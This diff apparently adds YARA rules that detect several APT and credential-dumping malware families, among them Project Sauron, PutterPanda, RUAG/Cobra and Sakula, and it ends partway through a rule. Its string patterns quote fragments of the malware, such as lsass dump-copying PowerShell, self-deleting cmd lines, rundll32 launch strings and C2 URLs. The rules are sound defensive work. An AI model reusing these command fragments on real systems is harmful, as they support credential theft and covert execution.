+		reference = "https://goo.gl/eFoP4A"
+		date = "2016-08-08"
+		score = 60
+	strings:
+		$x1 = "This cruft" fullword
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 200KB and $x1 )
+}
+
+/*
+	Yara Rule Set
+	Author: FLorian Roth
+	Date: 2016-08-09
+	Identifier: Project Sauron - my own ruleset
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule APT_Project_Sauron_Custom_M1 {
+	meta:
+		description = "Detects malware from Project Sauron APT"
+		author = "FLorian Roth"
+		reference = "https://goo.gl/eFoP4A"
+		date = "2016-08-09"
+		hash1 = "9572624b6026311a0e122835bcd7200eca396802000d0777dba118afaaf9f2a9"
+	strings:
+		$s1 = "ncnfloc.dll" fullword wide
+		$s4 = "Network Configuration Locator" fullword wide
+
+		$op0 = { 80 75 6e 85 c0 79 6a 66 41 83 38 0a 75 63 0f b7 } /* Opcode */
+		$op1 = { 80 75 29 85 c9 79 25 b9 01 } /* Opcode */
+		$op2 = { 2b d8 48 89 7c 24 38 44 89 6c 24 40 83 c3 08 89 } /* Opcode */
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 200KB and ( all of ($s*) ) and 1 of ($op*) ) or ( all of them )
+}
+
+rule APT_Project_Sauron_Custom_M2 {
+	meta:
+		description = "Detects malware from Project Sauron APT"
+		author = "FLorian Roth"
+		reference = "https://goo.gl/eFoP4A"
+		date = "2016-08-09"
+		hash1 = "30a824155603c2e9d8bfd3adab8660e826d7e0681e28e46d102706a03e23e3a8"
+	strings:
+		$s2 = "\\*\\3vpn" fullword ascii
+
+		$op0 = { 55 8b ec 83 ec 0c 53 56 33 f6 39 75 08 57 89 75 } /* Opcode */
+		$op1 = { 59 59 c3 8b 65 e8 ff 75 88 ff 15 50 20 40 00 ff } /* Opcode */
+		$op2 = { 8b 4f 06 85 c9 74 14 83 f9 12 0f 82 a7 } /* Opcode */
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 400KB and ( all of ($s*) ) and all of ($op*) )
+}
+
+rule APT_Project_Sauron_Custom_M3 {
+	meta:
+		description = "Detects malware from Project Sauron APT"
+		author = "FLorian Roth"
+		reference = "https://goo.gl/eFoP4A"
+		date = "2016-08-09"
+		hash1 = "a4736de88e9208eb81b52f29bab9e7f328b90a86512bd0baadf4c519e948e5ec"
+	strings:
+		$s1 = "ExampleProject.dll" fullword ascii
+
+		$op0 = { 8b 4f 06 85 c9 74 14 83 f9 13 0f 82 ba } /* Opcode */
+		$op1 = { ff 15 34 20 00 10 85 c0 59 a3 60 30 00 10 75 04 } /* Opcode */
+		$op2 = { 55 8b ec ff 4d 0c 75 09 ff 75 08 ff 15 00 20 00 } /* Opcode */
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 1000KB and ( all of ($s*) ) and all of ($op*) )
+}
+
+rule APT_Project_Sauron_Custom_M4 {
+	meta:
+		description = "Detects malware from Project Sauron APT"
+		author = "FLorian Roth"
+		reference = "https://goo.gl/eFoP4A"
+		date = "2016-08-09"
+		hash1 = "e12e66a6127cfd2cbb42e6f0d57c9dd019b02768d6f1fb44d91f12d90a611a57"
+	strings:
+		$s1 = "xpsmngr.dll" fullword wide
+		$s2 = "XPS Manager" fullword wide
+
+		$op0 = { 89 4d e8 89 4d ec 89 4d f0 ff d2 3d 08 00 00 c6 } /* Opcode */
+		$op1 = { 55 8b ec ff 4d 0c 75 09 ff 75 08 ff 15 04 20 5b } /* Opcode */
+		$op2 = { 8b 4f 06 85 c9 74 14 83 f9 13 0f 82 b6 } /* Opcode */
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 90KB and ( all of ($s*) ) and 1 of ($op*) ) or ( all of them )
+}
+
+rule APT_Project_Sauron_Custom_M6 {
+	meta:
+		description = "Detects malware from Project Sauron APT"
+		author = "FLorian Roth"
+		reference = "https://goo.gl/eFoP4A"
+		date = "2016-08-09"
+		hash1 = "3782b63d7f6f688a5ccb1b72be89a6a98bb722218c9f22402709af97a41973c8"
+	strings:
+		$s1 = "rseceng.dll" fullword wide
+		$s2 = "Remote Security Engine" fullword wide
+
+		$op0 = { 8b 0d d5 1d 00 00 85 c9 0f 8e a2 } /* Opcode */
+		$op1 = { 80 75 6e 85 c0 79 6a 66 41 83 38 0a 75 63 0f b7 } /* Opcode */
+		$op2 = { 80 75 29 85 c9 79 25 b9 01 } /* Opcode */
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 200KB and ( all of ($s*) ) and 1 of ($op*) ) or ( all of them )
+}
+
+rule APT_Project_Sauron_Custom_M7 {
+	meta:
+		description = "Detects malware from Project Sauron APT"
+		author = "FLorian Roth"
+		reference = "https://goo.gl/eFoP4A"
+		date = "2016-08-09"
+		hash1 = "6c8c93069831a1b60279d2b316fd36bffa0d4c407068dbef81b8e2fe8fd8e8cd"
+		hash2 = "7cc0bf547e78c8aaf408495ceef58fa706e6b5d44441fefdce09d9f06398c0ca"
+	strings:
+		$sx1 = "Default user" fullword wide
+		$sx2 = "Hincorrect header check" fullword ascii /* Typo */
+
+		$sa1 = "MSAOSSPC.dll" fullword ascii
+		$sa2 = "MSAOSSPC.DLL" fullword wide
+		$sa3 = "MSAOSSPC" fullword wide
+		$sa4 = "AOL Security Package" fullword wide
+		$sa5 = "AOL Security Package" fullword wide
+		$sa6 = "AOL Client for 32 bit platforms" fullword wide
+
+		$op0 = { 8b ce 5b e9 4b ff ff ff 55 8b ec 51 53 8b 5d 08 } /* Opcode */
+		$op1 = { e8 0a fe ff ff 8b 4d 14 89 46 04 89 41 04 8b 45 } /* Opcode */
+		$op2 = { e9 29 ff ff ff 83 7d fc 00 0f 84 cf 0a 00 00 8b } /* Opcode */
+		$op3 = { 83 f8 0c 0f 85 3a 01 00 00 44 2b 41 6c 41 8b c9 } /* Opcode */
+		$op4 = { 44 39 57 0c 0f 84 d6 0c 00 00 44 89 6f 18 45 89 } /* Opcode */
+		$op5 = { c1 ed 02 83 c6 fe e9 68 fe ff ff 44 39 57 08 75 } /* Opcode */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and
+		(
+			( 3 of ($s*) and 3 of ($op*) ) or
+			( 1 of ($sx*) and 1 of ($sa*) )
+		)
+}
+
+rule APT_Malware_PutterPanda_Rel {
+	meta:
+		description = "Detects an APT malware related to PutterPanda"
+		author = "Florian Roth"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "5367e183df155e3133d916f7080ef973f7741d34"
+	strings:
+		$x0 = "app.stream-media.net" fullword ascii /* score: '12.03' */
+		$x1 = "File %s does'nt exist or is forbidden to acess!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '16.035' */
+
+		$s6 = "GetProcessAddresss of pHttpQueryInfoA Failed!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '32.02' */
+		$s7 = "Connect %s error!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '16.04' */
+		$s9 = "Download file %s successfully!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '14.03' */
+		$s10 = "index.tmp" fullword ascii /* score: '14.03' */
+		$s11 = "Execute PE Successfully" fullword ascii /* PEStudio Blacklist: strings */ /* score: '13.03' */
+		$s13 = "aa/22/success.xml" fullword ascii /* score: '12.005' */
+		$s16 = "aa/22/index.asp" fullword ascii /* score: '11.02' */
+		$s18 = "File %s a Non-Pe File" fullword ascii /* score: '8.04' */
+		$s19 = "SendRequset error!" fullword ascii /* score: '8.04' */
+		$s20 = "filelist[%d]=%s" fullword ascii /* score: '7.015' */
+	condition:
+		( uint16(0) == 0x5a4d and 1 of ($x*) ) or ( 4 of ($s*) )
+}
+
+
+rule APT_Malware_PutterPanda_Rel_2 {
+	meta:
+		description = "APT Malware related to PutterPanda Group"
+		author = "Florian Roth"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "f97e01ee04970d1fc4d988a9e9f0f223ef2a6381"
+	strings:
+		$s0 = "http://update.konamidata.com/test/zl/sophos/td/result/rz.dat?" fullword ascii /* PEStudio Blacklist: strings */ /* score: '28.01' */
+		$s1 = "http://update.konamidata.com/test/zl/sophos/td/index.dat?" fullword ascii /* PEStudio Blacklist: strings */ /* score: '28.01' */
+		$s2 = "Mozilla/4.0 (Compatible; MSIE 6.0;)" fullword ascii /* PEStudio Blacklist: agent */ /* score: '20.03' */
+		$s3 = "Internet connect error:%d" fullword ascii /* PEStudio Blacklist: strings */ /* score: '14.035' */
+		$s4 = "Proxy-Authorization:Basic" fullword ascii /* PEStudio Blacklist: strings */ /* score: '14.02' */
+		$s5 = "HttpQueryInfo failed:%d" fullword ascii /* PEStudio Blacklist: strings */ /* score: '13.015' */
+		$s6 = "read file error:%d" fullword ascii /* score: '11.04' */
+		$s7 = "downdll.dll" fullword ascii /* score: '11.025' */
+		$s8 = "rz.dat" fullword ascii /* score: '10.005' */
+		$s9 = "Invalid url" fullword ascii /* PEStudio Blacklist: strings */ /* score: '9.03' */
+		$s10 = "Create file failed" fullword ascii /* score: '8.045' */
+		$s11 = "myAgent" fullword ascii /* score: '8.025' */
+		$s12 = "%s%s%d%d" fullword ascii /* score: '8.005' */
+		$s13 = "down file success" fullword ascii /* score: '7.035' */
+		$s15 = "error!" fullword ascii /* score: '6.04' */
+		$s18 = "Avaliable data:%u bytes" fullword ascii /* score: '5.025' */
+	condition:
+		uint16(0) == 0x5a4d and 6 of them
+}
+
+rule APT_Malware_PutterPanda_PSAPI {
+	meta:
+		description = "Detects a malware related to Putter Panda"
+		author = "Florian Roth"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "f93a7945a33145bb6c106a51f08d8f44eab1cdf5"
+	strings:
+		$s0 = "LOADER ERROR" fullword ascii /* PEStudio Blacklist: strings */ /* score: '12.03' */
+		$s1 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii /* PEStudio Blacklist: strings */ /* score: '8.045' */
+		$s2 = "psapi.dll" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 54 times */
+		$s3 = "urlmon.dll" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 471 times */
+		$s4 = "WinHttpGetProxyForUrl" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 179 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule APT_Malware_PutterPanda_WUAUCLT {
+	meta:
+		description = "Detects a malware related to Putter Panda"
+		author = "Florian Roth"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "fd5ca5a2d444865fa8320337467313e4026b9f78"
+	strings:
+		$x0 = "WUAUCLT.EXE" fullword wide /* PEStudio Blacklist: strings */ /* score: '20.01' */
+		$x1 = "%s\\tmp%d.exe" fullword ascii /* score: '14.01' */	
+		$x2 = "Microsoft Corporation. All rights reserved." fullword wide /* score: '8.04' */
+
+		$s1 = "Microsoft Windows Operating System" fullword wide /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 4 times */
+		$s2 = "InternetQueryOptionA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 166 times */
+		$s3 = "LookupPrivilegeValueA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 336 times */
+		$s4 = "WNetEnumResourceA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 29 times */
+		$s5 = "HttpSendRequestExA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 87 times */
+		$s6 = "PSAPI.DLL" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 420 times */
+		$s7 = "Microsoft(R) Windows(R) Operating System" fullword wide /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 128 times */
+		$s8 = "CreatePipe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 222 times */
+		$s9 = "EnumProcessModules" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 410 times */
+	condition:
+		all of ($x*) or 
+		(1 of ($x*) and all of ($s*) )
+}
+
+rule APT_Malware_PutterPanda_Gen1 {
+	meta:
+		description = "Detects a malware "
+		author = "YarGen Rule Generator"
+		reference = "not set"
+		date = "2015-06-03"
+		super_rule = 1
+		hash0 = "bf1d385e637326a63c4d2f253dc211e6a5436b6a"
+		hash1 = "76459bcbe072f9c29bb9703bc72c7cd46a692796"
+		hash2 = "e105a7a3a011275002aec4b930c722e6a7ef52ad"
+	strings:
+		$s1 = "%s%duserid=%dthreadid=%dgroupid=%d" fullword ascii /* PEStudio Blacklist: strings */ /* score: '22.02' */
+		$s2 = "ssdpsvc.dll" fullword ascii /* score: '11.00' */
+		$s3 = "Fail %s " fullword ascii /* score: '10.04' */
+		$s4 = "%s%dpara1=%dpara2=%dpara3=%d" fullword ascii /* score: '10.01' */
+		$s5 = "LsaServiceInit" fullword ascii /* score: '7.03' */
+		$s6 = "%-8d Fs %-12s Bs " fullword ascii /* score: '5.04' */
+		$s7 = "Microsoft DH SChannel Cryptographic Provider" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5.00' */ /* Goodware String - occured 5 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and 5 of them
+}
+
+rule Malware_MsUpdater_String_in_EXE {
+	meta:
+		description = "MSUpdater String in Executable"
+		author = "Florian Roth"
+		score = 50
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "b1a2043b7658af4d4c9395fa77fde18ccaf549bb"
+	strings:
+		$x1 = "msupdate.exe" fullword wide /* PEStudio Blacklist: strings */ /* score: '20.01' */
+		// $x2 = "msupdate" fullword wide /* PEStudio Blacklist: strings */ /* score: '13.01' */
+		$x3 = "msupdater.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '20.02' */
+		$x4 = "msupdater32.exe" fullword ascii
+		$x5 = "msupdater32.exe" fullword wide
+		$x6 = "msupdate.pif" fullword ascii
+
+		$fp1 = "_msupdate_" wide /* False Positive */
+		$fp2 = "_msupdate_" ascii /* False Positive */
+		$fp3 = "/kies" wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and ( 1 of ($x*) ) and not ( 1 of ($fp*) ) 
+}
+
+rule APT_Malware_PutterPanda_MsUpdater_3 {
+	meta:
+		description = "Detects Malware related to PutterPanda - MSUpdater"
+		author = "Florian Roth"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "464149ff23f9c7f4ab2f5cadb76a4f41f969bed0"
+	strings:
+		$s0 = "msupdater.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '20.02' */
+		$s1 = "Explorer.exe \"" fullword ascii /* PEStudio Blacklist: strings */ /* score: '16.05' */
+		$s2 = "FAVORITES.DAT" fullword ascii /* score: '11.02' */
+		$s4 = "COMSPEC" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.82' */ /* Goodware String - occured 178 times */
+	condition:
+		uint16(0) == 0x5a4d and 3 of them
+}
+
+rule APT_Malware_PutterPanda_MsUpdater_1 {
+	meta:
+		description = "Detects Malware related to PutterPanda - MSUpdater"
+		author = "Florian Roth"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "b55072b67543f58c096571c841a560c53d72f01a"
+	strings:
+		$x0 = "msupdate.exe" fullword wide /* PEStudio Blacklist: strings */ /* score: '20.01' */
+		$x1 = "msupdate" fullword wide /* PEStudio Blacklist: strings */ /* score: '13.01' */
+
+		$s1 = "Microsoft Corporation. All rights reserved." fullword wide /* score: '8.04' */
+		$s2 = "Automatic Updates" fullword wide /* PEStudio Blacklist: strings */ /* score: '4.98' */ /* Goodware String - occured 22 times */
+		$s3 = "VirtualProtectEx" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.93' */ /* Goodware String - occured 68 times */
+		$s4 = "Invalid parameter" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.93' */ /* Goodware String - occured 69 times */
+		$s5 = "VirtualAllocEx" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.91' */ /* Goodware String - occured 95 times */
+		$s6 = "WriteProcessMemory" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.87' */ /* Goodware String - occured 131 times */
+	condition:
+		( uint16(0) == 0x5a4d and 1 of ($x*) and 4 of ($s*) ) or
+		( 1 of ($x*) and all of ($s*) )
+}
+
+rule APT_Malware_PutterPanda_MsUpdater_2 {
+	meta:
+		description = "Detects Malware related to PutterPanda - MSUpdater"
+		author = "Florian Roth"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "365b5537e3495f8ecfabe2597399b1f1226879b1"
+	strings:
+		$s0 = "winsta0\\default" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.99' */ /* Goodware String - occured 6 times */
+		$s1 = "EXPLORER.EXE" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.98' */ /* Goodware String - occured 22 times */
+		$s2 = "WNetEnumResourceA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.97' */ /* Goodware String - occured 29 times */
+		$s3 = "explorer.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.97' */ /* Goodware String - occured 31 times */
+		$s4 = "CreateProcessAsUserA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.91' */ /* Goodware String - occured 86 times */
+		$s5 = "HttpSendRequestExA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.91' */ /* Goodware String - occured 87 times */
+		$s6 = "HttpEndRequestA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.91' */ /* Goodware String - occured 91 times */
+		$s7 = "GetModuleBaseNameA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.88' */ /* Goodware String - occured 121 times */
+		$s8 = "GetModuleFileNameExA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.86' */ /* Goodware String - occured 144 times */
+		$s9 = "HttpSendRequestA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.85' */ /* Goodware String - occured 154 times */
+		$s10 = "HttpOpenRequestA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.84' */ /* Goodware String - occured 159 times */
+		$s11 = "InternetConnectA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.82' */ /* Goodware String - occured 183 times */
+		$s12 = "Process32Next" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.80' */ /* Goodware String - occured 204 times */
+		$s13 = "Process32First" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.79' */ /* Goodware String - occured 210 times */
+		$s14 = "CreatePipe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.78' */ /* Goodware String - occured 222 times */
+		$s15 = "EnumProcesses" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.73' */ /* Goodware String - occured 273 times */
+		$s16 = "LookupPrivilegeValueA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.66' */ /* Goodware String - occured 336 times */
+		$s17 = "PeekNamedPipe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.65' */ /* Goodware String - occured 347 times */
+		$s18 = "EnumProcessModules" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.59' */ /* Goodware String - occured 410 times */
+		$s19 = "PSAPI.DLL" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.58' */ /* Goodware String - occured 420 times */
+		$s20 = "SPSSSQ" fullword ascii /* score: '4.51' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 220KB and all of them
+}
+
+rule APT_Malware_PutterPanda_Gen4 {
+	meta:
+		description = "Detects Malware related to PutterPanda"
+		author = "Florian Roth"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		super_rule = 1
+		hash0 = "71a8378fa8e06bcf8ee9f019c807c6bfc58dca0c"
+		hash1 = "8fdd6e5ed9d69d560b6fdd5910f80e0914893552"
+		hash2 = "3c4a762175326b37035a9192a981f7f4cc2aa5f0"
+		hash3 = "598430b3a9b5576f03cc4aed6dc2cd8a43324e1e"
+		hash4 = "6522b81b38747f4aa09c98fdaedaed4b00b21689"
+	strings:
+		$x1 = "rz.dat" fullword ascii /* score: '10.00' */
+
+		$s0 = "Mozilla/4.0 (Compatible; MSIE 6.0;)" fullword ascii /* PEStudio Blacklist: agent */ /* score: '20.03' */
+		$s1 = "Internet connect error:%d" fullword ascii /* PEStudio Blacklist: strings */ /* score: '14.04' */
+		$s2 = "Proxy-Authorization:Basic " fullword ascii /* PEStudio Blacklist: strings */ /* score: '14.02' */
+		$s5 = "Invalid url" fullword ascii /* PEStudio Blacklist: strings */ /* score: '9.03' */
+		$s6 = "Create file failed" fullword ascii /* score: '8.04' */
+		$s7 = "myAgent" fullword ascii /* score: '8.03' */
+
+		$z1 = "%s%s%d%d" fullword ascii /* score: '8.00' */
+		$z2 = "HttpQueryInfo failed:%d" fullword ascii /* PEStudio Blacklist: strings */ /* score: '13.02' */
+		$z3 = "read file error:%d" fullword ascii /* score: '11.04' */
+		$z4 = "down file success" fullword ascii /* score: '7.04' */
+		$z5 = "kPStoreCreateInstance" fullword ascii /* score: '5.03' */
+		$z6 = "Avaliable data:%u bytes" fullword ascii /* score: '5.03' */
+		$z7 = "abe2869f-9b47-4cd9-a358-c22904dba7f7" fullword ascii /* PEStudio Blacklist: guid */ /* score: '5.00' */ /* Goodware String - occured 2 times */
+	condition:
+		filesize < 300KB and 
+		(
+			( uint16(0) == 0x5a4d and $x1 and 3 of ($s*) ) or
+			( 3 of ($s*) and 4 of ($z*) )
+		)
+}
+rule QuarksPwDump_Gen {
+	meta:
+		description = "Detects all QuarksPWDump versions"
+		author = "Florian Roth"
+		date = "2015-09-29"
+		score = 80
+		hash1 = "2b86e6aea37c324ce686bd2b49cf5b871d90f51cec24476daa01dd69543b54fa"
+		hash2 = "87e4c76cd194568e65287f894b4afcef26d498386de181f568879dde124ff48f"
+		hash3 = "a59be92bf4cce04335bd1a1fcf08c1a94d5820b80c068b3efe13e2ca83d857c9"
+		hash4 = "c5cbb06caa5067fdf916e2f56572435dd40439d8e8554d3354b44f0fd45814ab"
+		hash5 = "677c06db064ee8d8777a56a641f773266a4d8e0e48fbf0331da696bea16df6aa"
+		hash6 = "d3a1eb1f47588e953b9759a76dfa3f07a3b95fab8d8aa59000fd98251d499674"
+		hash7 = "8a81b3a75e783765fe4335a2a6d1e126b12e09380edc4da8319efd9288d88819"
+	strings:
+		$s1 = "OpenProcessToken() error: 0x%08X" fullword ascii
+		$s2 = "%d dumped" fullword ascii
+		$s3 = "AdjustTokenPrivileges() error: 0x%08X" fullword ascii
+		$s4 = "\\SAM-%u.dmp" fullword ascii
+	condition:
+		all of them
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-09-01
+	Identifier: Rocket Kitten Keylogger
+*/
+
+rule RocketKitten_Keylogger {
+	meta:
+		description = "Detects Keylogger used in Rocket Kitten APT"
+		author = "Florian Roth"
+		reference = "https://goo.gl/SjQhlp"
+		date = "2015-09-01"
+		super_rule = 1
+		hash1 = "1c9e519dca0468a87322bebe2a06741136de7969a4eb3efda0ab8db83f0807b4"
+		hash2 = "495a15f9f30d6f6096a97c2bd8cc5edd4d78569b8d541b1d5a64169f8109bc5b"
+	strings:
+		$x1 = "\\Release\\CWoolger.pdb" ascii
+		$x2 = "WoolenLoger\\obj\\x86\\Release" ascii
+		$x3 = "D:\\Yaser Logers\\"
+		
+		$z1 = "woolger" fullword wide
+
+		$s1 = "oShellLink.TargetPath = \"" fullword ascii
+		$s2 = "wscript.exe " fullword ascii
+		$s3 = "strSTUP = WshShell.SpecialFolders(\"Startup\")" fullword ascii
+		$s4 = "[CapsLock]" fullword ascii
+	condition:
+		/* File detection */
+		(uint16(0) == 0x5a4d and filesize < 200KB and (1 of ($x*) or ($z1 and 2 of ($s*)))) or
+		/* Memory detection */
+		($z1 and all of ($s*)) 
+}
+/*
+  Yara Rule Set
+  Author: Florian Roth
+  Date: 2016-05-23
+  Identifier: Swiss RUAG APT Case
+  Reference: https://www.govcert.admin.ch/blog/22/technical-report-about-the-ruag-espionage-case 
+*/
+
+rule RUAG_Tavdig_Malformed_Executable {
+  meta:
+    description = "Detects an embedded executable with a malformed header - known from Tavdig malware"
+    author = "Florian Roth"
+    reference = "https://goo.gl/N5MEj0"
+    score = 60
+  condition:
+    uint16(0) == 0x5a4d and /* MZ Header */
+    uint32(uint32(0x3C)) == 0x0000AD0B /* malformed PE header > 0x0bad */
+}
+
+rule RUAG_Bot_Config_File {
+  meta:
+    description = "Detects a specific config file used by malware in RUAG APT case"
+    author = "Florian Roth"
+    reference = "https://goo.gl/N5MEj0"
+    score = 60
+  strings:
+    $s1 = "[CONFIG]" ascii
+    $s2 = "name = " ascii
+    $s3 = "exe = cmd.exe" ascii
+  condition:
+    $s1 at 0 and $s2 and $s3 and filesize < 160 
+}
+
+rule RUAG_Cobra_Malware {
+  meta:
+    description = "Detects a malware mentioned in the RUAG Case called Carbon/Cobra"
+    author = "Florian Roth"
+    reference = "https://goo.gl/N5MEj0"
+    score = 60
+  strings:
+    $s1 = "\\Cobra\\Release\\Cobra.pdb" ascii
+  condition:
+    uint16(0) == 0x5a4d and $s1
+}
+
+rule RUAG_Cobra_Config_File {
+  meta:
+    description = "Detects a config text file used by malware Cobra in RUAG case"
+    author = "Florian Roth"
+    reference = "https://goo.gl/N5MEj0"
+    score = 60
+  strings:
+    $h1 = "[NAME]" ascii
+
+    $s1 = "object_id=" ascii
+    $s2 = "[TIME]" ascii fullword
+    $s3 = "lastconnect" ascii 
+    $s4 = "[CW_LOCAL]" ascii fullword
+    $s5 = "system_pipe" ascii
+    $s6 = "user_pipe" ascii
+    $s7 = "[TRANSPORT]" ascii
+    $s8 = "run_task_system" ascii
+    $s9 = "[WORKDATA]" ascii 
+    $s10 = "address1" ascii
+  condition:
+    $h1 at 0 and 8 of ($s*) and filesize < 5KB
+}
+
+rule RUAG_Exfil_Config_File {
+  meta:
+    description = "Detects a config text file used in data exfiltration in RUAG case"
+    author = "Florian Roth"
+    reference = "https://goo.gl/N5MEj0"
+    score = 60
+  strings:
+    $h1 = "[TRANSPORT]" ascii
+
+    $s1 = "system_pipe" ascii
+    $s2 = "spstatus" ascii
+    $s3 = "adaptable" ascii 
+    $s4 = "post_frag" ascii
+    $s5 = "pfsgrowperiod" ascii
+  condition:
+    $h1 at 0 and all of ($s*) and filesize < 1KB
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-08-31
+	Identifier: RWMC Powershell Credential Dumper
+*/
+
+rule Reveal_MemoryCredentials {
+	meta:
+		description = "Auto-generated rule - file Reveal-MemoryCredentials.ps1"
+		author = "Florian Roth"
+		reference = "https://github.com/giMini/RWMC/"
+		date = "2015-08-31"
+		hash = "893c26818c424d0ff549c1fbfa11429f36eecd16ee69330c442c59a82ce6adea"
+	strings:
+		$s1 = "$dumpAProcessPath = \"C:\\Windows\\temp\\msdsc.exe\"" fullword ascii
+		$s2 = "$user = Get-ADUser -Filter {UserPrincipalName -like $loginPlainText -or sAMAccountName -like $loginPlainText}" fullword ascii
+		$s3 = "Copy-Item -Path \"\\\\$computername\\\\c$\\windows\\temp\\lsass.dmp\" -Destination \"$logDirectoryPath\"" fullword ascii
+		$s4 = "if($backupOperatorsFlag -eq \"true\") {$loginPlainText = $loginPlainText + \" = Backup Operators\"}            " fullword ascii
+	condition:
+		filesize < 200KB and 1 of them
+}
+
+rule MiniDumpTest_msdsc {
+	meta:
+		description = "Auto-generated rule - file msdsc.exe"
+		author = "Florian Roth"
+		reference = "https://github.com/giMini/RWMC/"
+		date = "2015-08-31"
+		hash = "477034933918c433f521ba63d2df6a27cc40a5833a78497c11fb0994d2fd46ba"
+	strings:
+		$s1 = "MiniDumpTest1.exe" fullword wide
+		$s2 = "MiniDumpWithTokenInformation" fullword ascii
+		$s3 = "MiniDumpTest1" fullword wide
+		$s6 = "Microsoft 2008" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 20KB and all of them
+}
+
+rule malware_sakula_xorloop {
+  meta:
+    description = "XOR loops from Sakula malware"
+    author = "David Cannings"
+    md5 = "fc6497fe708dbda9355139721b6181e7"
+
+  strings:
+    $mz = "MZ"
+
+    // XOR decode loop (non-null, non-key byte only)
+    $opcodes_decode_loop01 = { 31 C0 8A 04 0B 3C 00 74 09 38 D0 74 05 30 D0 88 04 0B }
+
+    // XOR decode
+    $opcodes_decode_loop02 = { 8B 45 08 8D 0C 02 8A 01 84 C0 74 08 3C ?? 74 04 34 ?? 88 01 }
+
+  condition:
+    $mz at 0 and any of ($opcodes*)
+}
+
+rule malware_sakula_memory {
+  meta:
+    description = "Sakula malware - strings after unpacking (memory rule)"
+    author = "David Cannings"
+    md5 = "b3852b9e7f2b8954be447121bb6b65c3"
+
+  strings:
+    $str01 = "cmd.exe /c ping 127.0.0.1 & del \"%s\""
+    $str02 = "cmd.exe /c rundll32 \"%s\" Play \"%s\""
+    $str03 = "Mozilla/4.0+(compatible;+MSIE+8.0;+Windows+NT+5.1;+SV1)"
+    $str04 = "cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c \"%s\""
+    $str05 = "Self Process Id:%d"
+    $str06 = "%d_%d_%d_%s"
+    $str07 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)"
+    $str08 = "cmd.exe /c rundll32 \"%s\" ActiveQvaw \"%s\""
+
+    // Encode loop, operations: rol 1; xor ??;
